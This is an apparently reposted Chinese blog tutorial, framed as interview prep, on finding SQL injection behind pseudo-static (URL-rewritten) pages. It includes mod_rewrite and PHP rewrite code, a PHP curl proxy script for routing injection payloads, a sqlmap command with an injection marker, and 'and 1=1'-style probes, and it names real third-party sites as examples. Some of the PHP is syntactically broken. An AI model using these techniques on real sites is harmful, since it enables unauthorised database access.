前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >面试中碰到的坑系列之注入(3)

面试中碰到的坑系列之注入(3)

作者头像
lonelyvaf
发布2018-06-07 14:44:31
5160
发布2018-06-07 14:44:31
举报

Test1:

如果页面是静态的,或者输入and 1=1,and 1=2 没反应该怎么继续判断是注入呢?

00x1怎么判断是不是伪静态

静态?首先要分析是不是伪静态,判断URL后面参数的结构,比如说有一些是这样的的。

比如说这个URL:http://zcb.sxjgjt.com.cn/index.php/Index.htm

先不说这个站点的前面的index.php 。假设我们已经知道脚本类型我们可以去掉后面的html

返回的页面还是一样的。尝试下and 1=1 和and 1=2,返回的页面分别如下。

这样就算是绕过了伪静态进行注入了。省下的sql语句不多测试。

当然伪静态不只只是这种url形式的,还有比如这个的:http://www.eroshifi.com/page-16.html

去掉html是不行的,要转化成xxx.php?id=16这种形式。

当然转化失败可能是参数错了,或者是页面静态化,而非伪静态。

还有类似这种形式的:https://zh.scribd.com/document/265644526/www-lbbyj-com-index-php-main-page-page-id-1

00x2 伪静态的实现方法

伪静态实现的方法有两种,一种是PHP伪静态实现方法一(利用Apache 服务器的功能)

首先在apache 开启mod_rewrite.so,AllowOverride None 这里有两处替换为 AllowOverride All

加载了这个模块就要新建一个.htaccess文件对apache进行了配置。

<IFMODULE mod_rewrite.c>

RewriteEngine On

RewriteBase /

RewriteRule ^news_(.*).html$ news.php?id=$1[L]

</IFMODULE>

以上这段伪代码的含义是碰到news.php?id=x 这个形式会变成,news_x.html这个形式。

我们写一个简单的news.php来接收get传过来的参数。

<?php

$get= $_GET['id'];

echo$get;

?>

这样我们这个url访问的其实是news.php?id=1

PHP伪静态实现方法二(编码实现)

如此就是实现简单的伪静态。

function mod_rewrite(){

global $_GET;

$nav = $_SERVER["REQUEST_URI"];

$script_name =$_SERVER["SCRIPT_NAME"]

$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);

$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html

$vars=explode("/",$nav);

print_r($vars);

for($i=0;$i<count($vars);$i+=2)

{

$_GET[$vars[$i]] = $vars[$i+1];

}

return $_GET;

}

00x3如何绕过呢?

那么绕过的话我们可以写一个脚本:

<?php

set_time_limit(10);

$id=$_GET["id"];

$id=str_replace("","%20",$id);

$id=str_replace("=","%3D",$id);

$url="http://www.xxx.com/index.php/test/id/$id.html";

$ch=curl_init();

curl_setopt($ch,CURLOPT_URL,"$url");

curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出

curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出

$output=curl_exec($ch);

curl_close($ch);

print_r($output);

?>

然后在本地搭建一个wamp环境ok就可以借助自动化的工具跑了。

Sqlmap中该怎么绕过呢

哪里存在注入就加上 * 号 ./sqlmap.py -u “http://www.xxxx.com/id/1*.html″

00x4如果不是伪静态又没有报错

PS:Index.php?id=1

输入and 1=1,and 1=2没反应或者是正常页面不能说没有sql注入漏洞。

若此网站是字符型注入,则你提交的语句应该是' and '1'='1 此外网站还有可能存在搜索型注入,cookie 注入或后台注入等等.若你没一一尝试则不能确定此网站一定没有注入漏洞。

还有一种可能是盲注。代码层面的原因就是没有用mysql_error(); 这个函数,所有没有报错。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2016-11-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 晨星先生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档